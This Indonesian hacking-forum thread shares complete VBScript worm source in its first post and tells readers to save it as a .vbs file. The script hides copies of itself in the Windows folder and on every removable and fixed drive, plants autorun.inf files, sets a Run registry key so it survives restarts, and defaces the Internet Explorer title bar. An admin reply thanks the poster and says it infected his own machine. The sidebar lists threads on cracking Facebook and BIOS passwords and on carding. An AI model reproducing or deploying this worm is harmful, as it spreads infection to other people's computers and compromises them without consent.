Cyber-Toerdjo


Welcome To The Cybernet-Toerdjo Team.
 
IndeksCalendarFAQPencarianAnggotaGroupPendaftaranLogin
Login
Username:
Password:
Login otomatis: 
:: Lupa password?
Latest topics
» salam kenal semuanya
Thu Sep 12, 2013 8:02 pm by Moon Drop

» Salam kenal ...
Thu Oct 25, 2012 4:40 pm by yudisrey

» Biar Akrab kenalan doloE
Thu Sep 06, 2012 1:28 pm by mr.pego

» security and hack FB
Tue Apr 03, 2012 10:56 pm by rifkigaoll

» Menjebol Password BIOS
Tue Apr 03, 2012 10:52 pm by rifkigaoll

» Sofware untuk menyembunyikan file apapun dalam sebuah media gambar.
Fri Mar 30, 2012 9:15 am by Cyber_Althaf

» Simulasi Pertambahan Carder
Fri Mar 02, 2012 11:02 am by musa55

» hack password facebook
Thu Feb 02, 2012 7:54 pm by lunnaii

» linknya mana
Wed Dec 07, 2011 9:46 pm by dragonov

December 2016
MonTueWedThuFriSatSun
   1234
567891011
12131415161718
19202122232425
262728293031 
CalendarCalendar
Link Sponsor
FB
Banner Forum

BriGade




Share | 
 

 Virus yang bikin gelap

Topik sebelumnya Topik selanjutnya Go down 
PengirimMessage
iwanselalukurangtidur



Jumlah posting : 7
Reputation : 0
Join date : 28.11.09

PostSubyek: Virus yang bikin gelap   Mon Dec 21, 2009 9:52 pm

copy paste script di bawah ini, pastenya di notepad dan simpan dengan type .vbs

on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","JATIMCREW was HERE"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
Kembali Ke Atas Go down
Lihat profil user
Admin



Jumlah posting : 74
Reputation : 3
Join date : 28.11.09
Age : 36
Lokasi : —¤÷('KuToardjoE')÷¤—

PostSubyek: Re: Virus yang bikin gelap   Wed Dec 23, 2009 3:35 pm

Jadi gelap nech kompi ane brother iwan....thank's share ilmunya yach... apn

_________________
*6FE801*54AAD48A5B5A3*76B4f81 (pacul)

Kembali Ke Atas Go down
Lihat profil user http://cyber-toerdjo.forumotion.com
 
Virus yang bikin gelap
Topik sebelumnya Topik selanjutnya Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» 10 Virus Paling Berbahaya Bagi Tubuh Kita
» TANYA MODEL NININ 250 2012 terbaru
» [HELP GAN] NAFAS MOTOR PENDEK
» [WTA] ada yg tau pembuat suara dengung untuk pengganti suara knalpot STD ga???
» Konsumsi Bahan bakar sebelum dan sesudah ganti knalpot racing + jetting

Permissions in this forum:Anda tidak dapat menjawab topik
Cyber-Toerdjo :: Miscellaneous :: Malware (Virus, Spyware, Hijack, dll)-
Navigasi: